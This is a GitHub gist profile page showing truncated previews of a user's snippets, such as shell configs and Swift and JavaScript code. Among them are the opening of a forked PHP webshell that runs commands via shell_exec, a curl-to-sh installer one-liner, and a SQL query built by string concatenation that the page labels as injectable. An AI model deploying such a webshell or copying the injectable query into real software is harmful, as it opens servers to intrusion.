Skip to content

Instantly share code, notes, and snippets.

View mlcloudsec's full-sized avatar
🛡️

ML mlcloudsec

🛡️
  • Phoenix, AZ
View GitHub Profile
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
https://github.com/zsh-users/zsh-syntax-highlighting/blob/master/INSTALL.md
https://github.com/zsh-users/zsh-autosuggestions/blob/master/INSTALL.md
@mlcloudsec
mlcloudsec / shell.php
Created March 10, 2023 05:11 — forked from mrpapercut/shell.php
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@mlcloudsec
mlcloudsec / tmux.md
Last active February 5, 2024 06:11 — forked from andreyvit/tmux.md
tmux config

macOS

# remap prefix to Control + a
set -g prefix C-a
# bind 'C-a C-a' to type 'C-a'
bind C-a send-prefix
unbind C-b

set -g mouse on

Keybase proof

I hereby claim:

  • I am mllanes on github.
  • I have a public key ASCnb503vnkB9mSlJXnGYFs4IZ5HsT6qj1kfuWe8yf8haQo

To claim this, I am signing this object:

@mlcloudsec
mlcloudsec / promise_while_loop.js
Created September 25, 2015 23:05 — forked from victorquinn/promise_while_loop.js
Promise "loop" using the Bluebird library
var Promise = require('bluebird');
var promiseWhile = function(condition, action) {
var resolver = Promise.defer();
var loop = function() {
if (!condition()) return resolver.resolve();
return Promise.cast(action())
.then(loop)
.catch(resolver.reject);
public class MainActivity extends
private PopupWindow popWindow;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@mlcloudsec
mlcloudsec / Swift SSID
Last active December 4, 2018 08:32
Get SSID and BSSID in swift
import SystemConfiguration.CaptiveNetwork
func getSSID() -> String{
var currentSSID = ""
let interfaces = CNCopySupportedInterfaces()
if interfaces != nil {
import UIKit
import AVFoundation
class ViewController: UIViewController, AVCaptureMetadataOutputObjectsDelegate {
let session : AVCaptureSession = AVCaptureSession()
var previewLayer : AVCaptureVideoPreviewLayer!
var highlightView : UIView = UIView()
import UIKit
extension UIColor {
convenience init(hex: Int) {
self.init(hex: hex, alpha: 1.0)
}
convenience init(hex: Int, alpha: CGFloat) {
self.init(
red: CGFloat((hex & 0xFF0000) >> 16 / 255.0),
// Subject to SQL injection
Student.query(
"SELECT * FROM student INNER JOIN course ON course.studentId=student.id WHERE student.id=" + req.param('student_id'),
function(err, students) {
}
)
// uses prepared statements to protect against sql injection
// https://github.com/brianc/node-postgres/wiki/Prepared-Statements#parameterized-queries